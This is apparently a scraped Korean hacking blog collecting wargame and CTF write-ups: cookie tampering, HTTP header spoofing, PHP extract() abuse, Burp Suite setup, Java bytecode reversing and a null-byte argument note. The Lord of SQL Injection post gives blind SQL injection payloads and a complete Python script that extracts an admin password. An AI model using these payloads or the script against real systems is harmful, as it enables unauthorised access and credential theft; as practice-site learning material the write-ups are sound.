webhacking.kr 홈페이지가 새단장을 했습니다.

 

사이트 운영자가 oldzomebie님에서 rubiya님으로 바뀌게 되었고, 기존에 고장난 문제들도 고치고, 너무 구식인 문제들도 새로 업데이트하고 등등 여러모로 고생하셔서 새로이 오픈하였다고 합니다.

 

아직 100% 완전히 다 업데이트가 된 것은 아니지만, 문제를 풀 수 있게 되었습니다.

 

그 기념으로 1번 문제 풀이를 해보도록 하겠습니다.

 

view-source를 누르면 위와 같이 소스를 확인할 수 있습니다.

 

쿠키값이 5보다 크되, 6이상인 값이 되어서는 안됩니다.

 

 

크롬에서 F12를 눌러서 개발자 도구를 킨 뒤, 쿠키값을 확인해보겠습니다.

 

지금은 쿠키값이 1로 되어있는데, 5.5로 값을 변경해보도록 하겠습니다.

그리고 view-source가 아닌 페이지로 이동을 하면

문제가 풀렸다고 나옵니다.

Author's Official blog url: http://trapkit.de/tools/checksec.html

Official checksec.sh download url: http://trapkit.de/tools/checksec.sh

 

위 파일이 checksec.sh 공식 파일이긴한데, 리눅스에서 다운받아 사용 시 아래와 같은 에러가 나는 경우가 있다.

 

bash: /usr/bin/checksec.sh: /bin/bash^M: bad interpreter: No such file or directory.

 

 

그러면 Unix에 맞는 형식으로 저장을 하면 되긴하는데, 여러모로 귀찮으므로 아래 링크된 파일을 다운받아 쓰세요..!

 

 

 

checksec.sh Linux version

checksec.sh
0.03MB

 

 

 

 

 

Caesar Cipher Text En/Decoder

Input



Output

Policy

  • Shift applied for only English alphabet.
  • Other characters are remained unchanged.
  • 영문자들만 쉬프트가 적용된다.
  • 그 외 문자들은 변경되지 않는다.

'해킹 & 보안' 카테고리의 다른 글

워게임 사이트 root-me.org  (0) 2019.11.27
checksec.sh Linux ver  (0) 2019.07.25
[HackCTF] Web - Home 풀이  (0) 2019.07.16
[HackCTF] Web - Guess me 풀이  (0) 2019.07.16
[HackCTF] Web - Hidden 풀이  (0) 2019.07.16

http://ctf.j0n9hyun.xyz:2034/

 

http://ctf.j0n9hyun.xyz:2034/

 

ctf.j0n9hyun.xyz:2034

Home이라는 이름의 문제이다.

 

대충 요런 페이지인데, 뭐 아무것도없다.

 

소스를 봐도

별게 없다.

 

힌트로는 "머리말" 이라는데, 조금 고민을 해 보았다.

 

 

머리말->머리 ->Head -> Header??

 

HTTP Header와 관련된 것이라는 생각이 좀 들었다.

 

버프슈트로 한번 패킷을 잡아보았는데 별게 없었다.

 

그래서 검색 신공!!

 

 

X-Forwarded-For라는 헤더가 있다고 한다. 프록시를 사용할때 원래 아이피를 기록하는 그런 헤더인데,

 

이녀석을 버프슈트에다가 박아서 요청을 한번 때려보았다.

와우

구웃. 풀엇다 ㅎㅎ!!

'해킹 & 보안' 카테고리의 다른 글

checksec.sh Linux ver  (0) 2019.07.25
Caesar Cipher Text Online Codec (Batch)  (0) 2019.07.25
[HackCTF] Web - Guess me 풀이  (0) 2019.07.16
[HackCTF] Web - Hidden 풀이  (0) 2019.07.16
버프슈트 설정하기 (Burp suite configuration)  (0) 2019.06.18

https://ctf.j0n9hyun.xyz/challenges#Guess%20me

100점짜리 웹 문제다.

 

딱 보이는건 extract($_GET)

 

GET query parameter로 저기 있는 변수들을 poisoning할 수 있다. 원하는 값으로 바꿀수 있단 뜻.

 

$filename 을 원하는 값으로 바꿔서 $secretcode를 원하는 값으로 바꾼 뒤, $guess랑 똑같게 만들고 싶은데, 

 

저 서버에 있는 파일들 중 존재하는 녀석의 파일 명과, 그 내용을 알아야한다. 따라서 좀 고민하던 차에

 

php file_get_contents 함수에 대해 한번 검색해보았다.

 

http://docs.php.net/manual/kr/function.file-get-contents.php

 

PHP: file_get_contents - Manual

file_get_contents (PHP 4 >= 4.3.0, PHP 5, PHP 7) file_get_contents — Reads entire file into a string 설명 string file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) file_get_con

docs.php.net

설명을 보는데, 이게 웬걸? 웹 리소스도 가져올 수 있는 것 처럼 보인다. ㅎㄷㄷ!!

그래서 바로 goorm IDE를 켜서 퍼블릭 도메인에 서버를 하나 띄웠다.

 

 

그리고

 

URL을 구성해서 요청하니 flag가 나온다. 하핫

HackCTF URL

https://ctf.j0n9hyun.xyz

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

 

웹 문제, Hidden을 풀어보겠다.

URL로 접속해보자

 

버튼이 1~4까지 있다. 소스를 한번 보자

 

 

get으로 form을 보내는 방식이다.

 

http://ctf.j0n9hyun.xyz:2023/?id=5 

 

위와같이 요청을 보내보자. 

 

flag를 바로 알 수 있다.

 

50점짜리 답게 간단한 문제였다.

버프슈트 설치

 

웹 해킹을 입문/공부/실시 할 때 가장 많이 쓰이는 툴 중 하나가 웹 프록시(Web Proxy)입니다.

 

HTTP/HTTPS 웹 요청과 응답을 잠시 잡아두고, 그 패킷 내용을 확인해보거나 변조하기 용이하기 때문입니다.

 

 

이러한 웹 프록시는 종류가 다양한데, 그 중 많이 쓰이는 것 중 하나가 버프슈트(Burp suite)입니다.

 

https://portswigger.net/burp

 

Burp Suite Scanner | PortSwigger

PortSwigger offers Burp Suite for security testing & scanning. Choose from a wide range of security tools & identify the very latest vulnerabilities.

portswigger.net

공식 사이트를 방문해 보면, 버프슈트가 3가지 종류가 있는 것으로 나오는데, 딱 봐도 Enterprise와 Professional 버전에는 $표시와 금액이 표시 되어 있어서, 연간 사용료를 지급해야지 쓸 수 있는 버전임을 알 수 있습니다.

 

저희는 가난하기 때문에, 무료 버전인 Community 버전을 사용하도록 합니다.

 

Burp suite community version을 다운받아서 설치하도록 합니다.

 

그리고 실행을 해 보면 Java로 만든 듯한 GUI 환경이 펼쳐집니다.

 

아마 Disk based project는 버프슈트의 설정값들을 프로젝트별 디렉토리에 저장해놓고 두고두고 사용할 수 있는가 봅니다.

 

 Community는 Temporary Project만 사용가능하답니다. 따라서 하단의 Next를 누릅니다.

config 값들을 파일로 갖고있는 것은 Community 버전에도 가능한가봅니다. 기본 값으로 설정하고 우측 하단의 Start Burp를 눌러보겠습니다.

 

뭔가 기능이 많이보이는 GUI가 나타납니다. 일단 여기서는 Intercept 기능만 사용해 볼 것입니다.

 

우측 상단의 Alerts를 눌러보면, 

위와 같은 메시지가 떠있는 것을 알 수 있는데요, 프록시 서버가 로컬호스트 8080포트에서 시작되었음을 알 수 있습니다.

프록시 설정 - 인터넷 옵션

 

이제 그러면, 웹 브라우저에서 버프슈트를 잘 받아들이도록 설정을 해보도록 하겠습니다.

지금 하려는 설정은 프록시 설정인데, 이 프록시 설정은 크게 두가지 방법이 있습니다.

 

인터넷 옵션을 수정하는 방법과, 크롬 익스텐션을 이용하는 방법이 있습니다.

 

지금 보여드리는 방법은 인터넷 옵션을 수정하는 방법으로, 모든 웹 브라우저가 프록시 설정이 되게 됩니다.

크롬 익스텐션을 이용하는 방법은 크롬에서만 프록시가 설정되도록 할 수 있고 좀 더 디테일한 설정이 가능합니다.

 

일단은 인터넷 옵션 설정부터 보여드리겠습니다.

 

저는 크롬브라우저를 주로 사용하므로, 크롬 브라우저 기준으로 설명드리겠습니다.

크롬 브라우저 우측 상단의 점 3개 짜리 더 보기 아이콘을 누른 뒤, 설정으로 들어갑니다.

스크롤을 쭉 내려서 가장 아래로 간 뒤, 고급 을 누릅니다.

그리고 다시 가장 아래로 스크롤을 내린 뒤, "프록시 설정 열기"를 클릭합니다.

인터넷 속성 창이 뜨는데 하단의 LAN 설정을 누릅니다.

프록시 서버에 체크박스를 체크한 뒤, 주소와 포트를 위와 같이 127.0.0.1 / 8080으로 입력한 뒤 확인 버튼을 누릅니다.

 

그러면 웹 브라우저 설정은 준비가 되었습니다.

 

이제 웹 브라우저에서 아무 페이지로 요청을 보내보도록 하겠습니다. 아직 인증서 설정은 하지 않았으니, 가급적 http 평문 페이지로 이동 요청을 해 보겠습니다.

 

버프슈트 Intercept 항목에 주황색으로 Highlighting이 되면서 HTTP GET 요청 패킷이 잡혔습니다.

 

여기서 Forward를 누르면 해당 패킷이 지나갈 수 있게 놓아주며, Drop을 누르면 패킷을 보내지 않고 버리게 됩니다.

 

그리고 패킷 내용에 커서를 놓고 값을 변경할 수 도 있습니다.

 

Intercept is on 을 눌러서 intercept is off로 만들면 패킷들이 쭈르륵하고 자기 갈 길을 가도록 할 수 있습니다.

프록시 설정 - 크롬 익스텐션 SwitchyOmega

이제는 크롬 익스텐션 중 하나인 SwitchOmega를 이용해서 프록시를 설정해보도록 하겠습니다.

일단 아까 인터넷 설정에서 프록시 설정한 부분은 원래대로 되돌려 놓어야 합니다.

 

https://chrome.google.com/webstore/detail/proxy-switchyomega/padekgcemlokbadohgkifijomclgjgif

 

Proxy SwitchyOmega

Manage and switch between multiple proxies quickly & easily.

chrome.google.com

아래 링크로 이동하시면 Proxy SwitchyOmega 익스텐션을 확인할 수 있습니다.

저는 이미 설치를 해 놓았기 때문에, Chrome에서 삭제라고 우측 상단 버튼이 떠 있지만, 여러분들은 설치를 해주시면 됩니다.

 

그리고 Proxy 설정을 원하는 사이트로 이동합니다. 저 같은 경우에는 webhacking.kr로 이동했습니다.

그리고 우측 상단에 있는 SwitchyOmega 아이콘을 눌러서 순서대로 누르게 되면 webhacking.kr 도메인에서만 프록시가 설정되도록 할 수 있습니다.

 

그 외에도 다양한 기능들이 있는데 이것 저것 눌러보시고 가이드를 확인하면서 사용하시면 편리함을 느끼실 수 있을 겁니다. (저는 저 기능밖에 안씁니다)

 

Challenge 'Bitecode' give us a simple java class file. We can simply get java class file by compiling java source code file.

On the other hand, we can simply get java source code file by decompiling java class file.

 

I can find online java decompiler site. [http://www.javadecompilers.com/]

 

There are several versions of decompiler. I tried all of them, but only second one "CFR" was working.

 

 

I got the java source code like above.

Full decompiled java source code is below.

 

/*
 * Decompiled with CFR 0.139.
 * 
 * Could not load the following classes:
 *  \u0000java.lang.System
 */
import \u0000java.lang.System;
import java.io.PrintStream;

/*
 * Class file version 45.0 predates 45.3 (Java 1.0), recompilation may lose compatibility!
 */
public class BiteCode {
    private static /* synthetic */ int a;

    /*
     * Unable to fully structure code
     */
    public static void main(String[] var0) {
        block83 : {
            block67 : {
                block82 : {
                    block77 : {
                        block81 : {
                            block54 : {
                                block80 : {
                                    block79 : {
                                        block57 : {
                                            block78 : {
                                                block74 : {
                                                    block76 : {
                                                        block75 : {
                                                            block60 : {
                                                                block73 : {
                                                                    block62 : {
                                                                        block72 : {
                                                                            block56 : {
                                                                                block71 : {
                                                                                    block64 : {
                                                                                        block70 : {
                                                                                            block69 : {
                                                                                                block68 : {
                                                                                                    block66 : {
                                                                                                        block65 : {
                                                                                                            block63 : {
                                                                                                                block61 : {
                                                                                                                    block55 : {
                                                                                                                        block59 : {
                                                                                                                            block58 : {
                                                                                                                                var1_1 = var0.length;
                                                                                                                                var2_2 = BiteCode.a;
                                                                                                                                if (var1_1 - 1 != 0) {
                                                                                                                                    (System)null;
                                                                                                                                    java.lang.System.out.println("Nah");
                                                                                                                                    return;
                                                                                                                                }
                                                                                                                                var3_3 = var0[0].toCharArray();
                                                                                                                                var4_4 = var3_3.length;
                                                                                                                                if ((var4_4 ^ 927739485 ^ 927739457) != 0) {
                                                                                                                                    (System)null;
                                                                                                                                    java.lang.System.out.println("Nah");
                                                                                                                                    return;
lbl15: // 1 sources:
                                                                                                                                    do {
                                                                                                                                        switch (var2_2) {
                                                                                                                                            default: 
                                                                                                                                        }
                                                                                                                                        java.lang.System.out.println("Yeah");
                                                                                                                                        return;
                                                                                                                                        break;
                                                                                                                                    } while (true);
                                                                                                                                }
                                                                                                                                v0 = var3_3;
                                                                                                                                if ((v0[0] ^ 189074585) - 189074673 != 0) lbl-1000: // 3 sources:
                                                                                                                                {
                                                                                                                                    do {
                                                                                                                                        if (var2_2 == 0) {
                                                                                                                                            (System)null;
                                                                                                                                            java.lang.System.out.println("Nah");
                                                                                                                                            return;
                                                                                                                                        }
                                                                                                                                        break block54;
                                                                                                                                        break;
                                                                                                                                    } while (true);
                                                                                                                                }
                                                                                                                                if ((v0[1] ^ -227215135) - -227215214 != 0) lbl-1000: // 2 sources:
                                                                                                                                {
                                                                                                                                    do {
                                                                                                                                        if (var2_2 == 0) {
                                                                                                                                            (System)null;
                                                                                                                                            java.lang.System.out.println("Nah");
                                                                                                                                            return;
                                                                                                                                        }
                                                                                                                                        break block55;
                                                                                                                                        break;
                                                                                                                                    } while (true);
                                                                                                                                }
                                                                                                                                if ((v0[2] ^ 19240864) - 19240899 == 0) break block58;
                                                                                                                                if (var2_2 != 0) ** GOTO lbl-1000
                                                                                                                                (System)null;
                                                                                                                                java.lang.System.out.println("Nah");
                                                                                                                                return;
                                                                                                                            }
                                                                                                                            if ((v0[3] ^ 245881291) - 245881279 == 0) break block59;
                                                                                                                            if (var2_2 == 0) {
                                                                                                                                (System)null;
                                                                                                                                java.lang.System.out.println("Nah");
                                                                                                                                return;
                                                                                                                            }
                                                                                                                            break block60;
                                                                                                                        }
                                                                                                                        if ((v0[4] ^ 233391094) - 233390992 == 0) break block61;
                                                                                                                    }
lbl54: // 2 sources:
                                                                                                                    while (var2_2 == 0) {
                                                                                                                        (System)null;
                                                                                                                        java.lang.System.out.println("Nah");
                                                                                                                        return;
                                                                                                                    }
                                                                                                                    break block62;
                                                                                                                }
                                                                                                                if ((v0[5] ^ 56978353) - 56978378 == 0) break block63;
lbl62: // 2 sources:
                                                                                                                while (var2_2 == 0) {
                                                                                                                    (System)null;
                                                                                                                    java.lang.System.out.println("Nah");
                                                                                                                    return;
                                                                                                                }
                                                                                                                break block64;
                                                                                                            }
                                                                                                            if ((v0[6] ^ -213838484) - -213838565 != 0) lbl-1000: // 4 sources:
                                                                                                            {
                                                                                                                do {
                                                                                                                    if (var2_2 == 0) {
                                                                                                                        (System)null;
                                                                                                                        java.lang.System.out.println("Nah");
                                                                                                                        return;
                                                                                                                    }
                                                                                                                    break block56;
                                                                                                                    break;
                                                                                                                } while (true);
                                                                                                            }
                                                                                                            if ((v0[7] ^ -231671677) - -231671605 == 0) break block65;
lbl78: // 3 sources:
                                                                                                            do {
                                                                                                                if (var2_2 != 0) ** GOTO lbl-1000
                                                                                                                (System)null;
                                                                                                                java.lang.System.out.println("Nah");
                                                                                                                return;
                                                                                                                break;
                                                                                                            } while (true);
                                                                                                        }
                                                                                                        if ((v0[8] ^ -132473862) - -132473910 == 0) break block66;
                                                                                                        if (var2_2 == 0) {
                                                                                                            (System)null;
                                                                                                            java.lang.System.out.println("Nah");
                                                                                                            return;
                                                                                                        }
                                                                                                        break block67;
                                                                                                    }
                                                                                                    if ((v0[9] ^ 143449065) - 143449053 == 0) break block68;
lbl94: // 2 sources:
                                                                                                    while (var2_2 == 0) {
                                                                                                        (System)null;
                                                                                                        java.lang.System.out.println("Nah");
                                                                                                        return;
                                                                                                    }
                                                                                                    break block56;
                                                                                                }
                                                                                                if ((v0[10] ^ 108102484) - 108102411 == 0) break block69;
                                                                                                do {
                                                                                                    if (var2_2 != 0) ** GOTO lbl-1000
                                                                                                    (System)null;
                                                                                                    java.lang.System.out.println("Nah");
                                                                                                    return;
                                                                                                    break;
                                                                                                } while (true);
                                                                                            }
                                                                                            if ((v0[11] ^ 71123188) - 71123073 == 0) break block70;
                                                                                            if (var2_2 != 0) ** GOTO lbl62
                                                                                            (System)null;
                                                                                            java.lang.System.out.println("Nah");
                                                                                            return;
                                                                                        }
                                                                                        if ((v0[12] ^ 146096006) - 146096089 == 0) break block71;
                                                                                    }
                                                                                    if (var2_2 != 0) ** GOTO lbl94
                                                                                    (System)null;
                                                                                    java.lang.System.out.println("Nah");
                                                                                    return;
                                                                                }
                                                                                if ((v0[13] ^ -173487738) - -173487628 == 0) break block72;
                                                                            }
                                                                            if (var2_2 != 0) ** GOTO lbl54
                                                                            (System)null;
                                                                            java.lang.System.out.println("Nah");
                                                                            return;
                                                                        }
                                                                        if ((v0[14] ^ -116507045) - -116507132 == 0) break block73;
                                                                    }
                                                                    if (var2_2 == 0) {
                                                                        (System)null;
                                                                        java.lang.System.out.println("Nah");
                                                                        return;
                                                                    }
                                                                    break block74;
                                                                }
                                                                if ((v0[15] ^ -68013365) - -68013319 == 0) break block75;
                                                            }
lbl143: // 2 sources:
                                                            do {
                                                                if (var2_2 == 0) {
                                                                    (System)null;
                                                                    java.lang.System.out.println("Nah");
                                                                    return;
                                                                }
                                                                break block57;
                                                                break;
                                                            } while (true);
                                                        }
                                                        if ((v0[16] ^ 171414622) - 171414529 != 0) {
                                                            do {
                                                                if (var2_2 != 0) ** continue;
                                                                (System)null;
                                                                java.lang.System.out.println("Nah");
                                                                return;
                                                                break;
                                                            } while (true);
                                                        }
                                                        if ((v0[17] ^ 94412444) - 94412524 == 0) break block76;
lbl159: // 2 sources:
                                                        while (var2_2 == 0) {
                                                            (System)null;
                                                            java.lang.System.out.println("Nah");
                                                            return;
                                                        }
                                                        break block77;
                                                    }
                                                    if ((v0[18] ^ 197453081) - 197453163 == 0) break block78;
                                                }
                                                ** while (var2_2 != 0)
lbl169: // 1 sources:
                                                (System)null;
                                                java.lang.System.out.println("Nah");
                                                return;
                                            }
                                            if ((v0[19] ^ -50622153) - -50622201 == 0) break block79;
                                        }
                                        if (var2_2 != 0) ** GOTO lbl159
                                        (System)null;
                                        java.lang.System.out.println("Nah");
                                        return;
                                    }
                                    if ((v0[20] ^ 190140381) - 190140290 == 0) break block80;
                                    if (var2_2 != 0) ** GOTO lbl78
                                    (System)null;
                                    java.lang.System.out.println("Nah");
                                    return;
                                }
                                if ((v0[21] ^ 77383944) - 77383996 == 0) break block81;
                            }
                            ** while (var2_2 != 0)
lbl192: // 1 sources:
                            (System)null;
                            java.lang.System.out.println("Nah");
                            return;
                        }
                        if ((v0[22] ^ -41590082) - -41590047 == 0) break block82;
                    }
                    ** while (var2_2 != 0)
lbl200: // 1 sources:
                    (System)null;
                    java.lang.System.out.println("Nah");
                    return;
                }
                if ((v0[23] ^ 61204303) - 61204283 != 0) lbl-1000: // 2 sources:
                {
                    do {
                        if (var2_2 != 0) ** continue;
                        (System)null;
                        java.lang.System.out.println("Nah");
                        return;
                        break;
                    } while (true);
                }
                if ((v0[24] ^ -24637751) - -24637791 != 0) {
                    if (var2_2 != 0) ** continue;
                    (System)null;
                    java.lang.System.out.println("Nah");
                    return;
                }
                if ((v0[25] ^ 61697107) - 61697122 != 0) {
                    if (var2_2 != 0) ** continue;
                    (System)null;
                    java.lang.System.out.println("Nah");
                    return;
                }
                if ((v0[26] ^ 267894989) - 267895017 == 0) break block83;
            }
            while (var2_2 != 0) {
            }
            (System)null;
            java.lang.System.out.println("Nah");
            return;
        }
        ** while ((v0[27] ^ -13480562) - -13480461 == 0)
lbl234: // 1 sources:
        ** while (var2_2 != 0)
lbl235: // 1 sources:
        (System)null;
        java.lang.System.out.println("Nah");
    }
}

Analyzing overall source code with peek, the java program get a single main function argument input called 'var0'

 

We can simply guess, printing "Nah" means invalid input.

The number of argument (var1_1) should be 1,

The length of first argument (var4_4) should be 927739485 ^ 927739456 => 28

 

With similar pattern, the first character of argument (v0[0]) shoudl be 189074585 ^ 189074673

The second character of argument (v0[1]) should be -227215135 ^ -227215214

 

Proceeding this work, we can easily find not only the header of flag "hsctf{", but also the rest part of the flag.

 

You can do it manualy one by one, or write a python script to extract the source code line contains the pattern like "v0[index] ^ A - B != 0" and evaluate the each letter on flag.

But I did with hand one by one.

Lord of SQL Injection Level 7 Orge 풀이입니다.

 

문제는 이렇게 생겼습니다.

 

보시면 두번째 if문에서 $result['pw'] == $_GET['pw']로 확인을 다시 하는데, 요녀석 때문에 여태까지 다른 방식처럼 인증만 우회하는 방식으로는 풀리지가 않습니다.

 

즉 admin의 패스워드를 알아내야 한다는 것이죠.

 

이때 사용되는 기법이 바로 Blind SQL Injection입니다.

 

장님이 코끼리 만지듯이 한다(?) 라는 식으로 Blind SQL Injection에 대해서 많이들 설명하는데요,

 

간단하게 설명하자면, True / False의 결과만 가지고 조합해서 정보를 알아내는 방식입니다.

 

예컨대, pw값에 다음 값을 넣는다고 생각해보죠

 

'||id='admin'&&length(pw)>1#

그러면 전체 쿼리는 다음처럼 됩니다.

 

select id from prob_orge where id='guest' and pw=''||id='admin'&&length(pw)>1#'

여기서 만약 id가 admin인 녀석의 pw의 길이가 1 초과라면 admin column이 리턴되면서 

<h2>Hello admin</h2>라는 문구를 보게 되죠.

 

이런식으로 숫자를 바꾸어가면서 admin의 pw길이를 유추할 수 있습니다.

 

대충 범위를 1 ~ 100정도 잡고 바이너리 서치를 하면 더 빠르게 찾을 수 있죠.

 

비슷한 방식으로, 길이를 알아냈으면 admin의 pw의 각각의 글자가 어떤 값을 찾는지 찾아낼 수 있습니다.

 

다음 값을 넣는다고 가정해봅시다.

 

'||id='admin'&&ascii(substring(pw, 1,1))>1#

 

그러면 전체 쿼리는 다음과 같게 됩니다.

 

select id from prob_orge where id='guest' and pw=''||id='admin'&&ascii(substring(pw, 3,1))>70#'

 

세번째 글자의 아스키값이 70보다 크면 True가 되어서 Hello admin 문구를 볼 수 있죠.

 

이런 방식으로 각각의 글자들을 다 알아내서 admin의 패스워드를 알아낼 수 있습니다.

 

이걸 다 손으로 하면 매우 귀찮으므로, 파이썬2 스크립트를 작성해서 풀이할 수 있습니다.

 

import urllib2

url = "https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php"
cookie = "PHPSESSID=put_your_login_session_token_here"
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"

truePhrase = "<h2>Hello admin</h2>"

def query(payload):
	uurl = url + "?pw=" + urllib2.quote(payload)
	req = urllib2.Request(uurl)
	req.add_header('cookie', cookie)
	req.add_header("User-Agent", ua)
	res = urllib2.urlopen(req)
	content = res.read(500)
	return truePhrase in content

# '||id='admin'&&length(pw)>1#
# '||id='admin'&&ascii(substring(pw, 1,1))>1#
def find_length():
	print "Finding length of the password..."
	left = 1
	right = 100
	while left < right:
		mid = (left+right)//2
		if query("'||id='admin'&&length(pw)>" + str(mid) +"#"):
			left = mid+1
		else:
			right = mid
	return right

def find_password(pos):
	print "Finding " + str(pos) + "th password..."
	left = 1
	right = 200
	while left < right:
		print (str(left) + "," + str(right))
		mid = (left+right)//2
		if query("'||id='admin'&&ascii(substr(pw," + str(pos) + ",1))>" + str(mid) + "#"):
			left = mid+1
		else:
			right = mid
	print (right)
	return chr(right)
length = find_length()
password = ""
for i in range(1, length+1):
	password += find_password(i)

print "gotcha!!!!"
print password

pwnable.kr의 Toddler's Bottle 문제 중 input 문제를 풀려고 하였었다.

 

제공된 input.c의 소스 코드 중,

 

if (strcmp(argv['A'], "\x00")) return 0;

 

라는 부분이 있었는데, 이를 python process 생성 API를 이용하여 인자를 넘겨주려고 했다.

 

os.system, subprocess.Popen, subprocess.run 등의 API를 이용할 수 있었는데, \x00 의 NULL 바이트를 인자로 넘겨주자 항상 에러가 났다.

 

그래서 다른사람이 작성한 write up을 확인해보니 pwntools의 process API를 이용하여 풀이를 하였는데, 거기서는 NULL 바이트를 인자로 주어도 아무런 상관이 없었다.

 

그래서 궁금증이 발동한 나는 pwntools의 process API를 한번 확인해 보았다.

 

process.py 코드 링크는 다음과 같다.

 

https://github.com/Gallopsled/pwntools/blob/dev/pwnlib/tubes/process.py

https://raw.githubusercontent.com/Gallopsled/pwntools/dev/pwnlib/tubes/process.py

 

process class를 정의해서 사용하고 있는데, 생성자인 __init__ 부분을 확인해보니, subprocess.Popen()을 이용해서 프로세스를 생성하는 것을 확인할 수 있었다.

 

그런데 어떤 차이가 있길래 NULL Byte Argument를 넘겨주어도 잘 실행이 되는가 싶어서, Popen 실행하기 직전의 Argument 리스트를 찍어보니, "\x00"인 NULL Character included string을 ""인 Empty String으로 치환되어 Popen API 인자로 넘어가는 것을 확인할 수 있었다.

 

확인해보니 _validate 함수에서 해당 처리를 하는데, 각각인자의 rstrip("\x00")를 하는 과정에서 사라진 것이다.

 

뭐 다시 생각을 해 보면, C로 작성한 바이너리에서 main 함수의 argc, argv중 argv는 NULL terminated string들이고,

 

if (strcmp(argv['A'], "\x00")) return 0;

 

 

위 코드를 Pass하기에 단지 Empty string이기만 해도 strcmp 리턴값이 0이 될 것이긴 하다.

 

어쨋거나 이러한 삽질을 통해서 뭔가 잊고 있떤 사실을 하나 알게 되긴 하였다.

 

고로 subprocess.Popen과 같은 파이썬 API로 호출해서 pkr input 문제를 풀려면 'A' 번째 인자는 Empty string만 넣어도 된다는 것.

 

그리고 pwntools는 위대하다.

+ Recent posts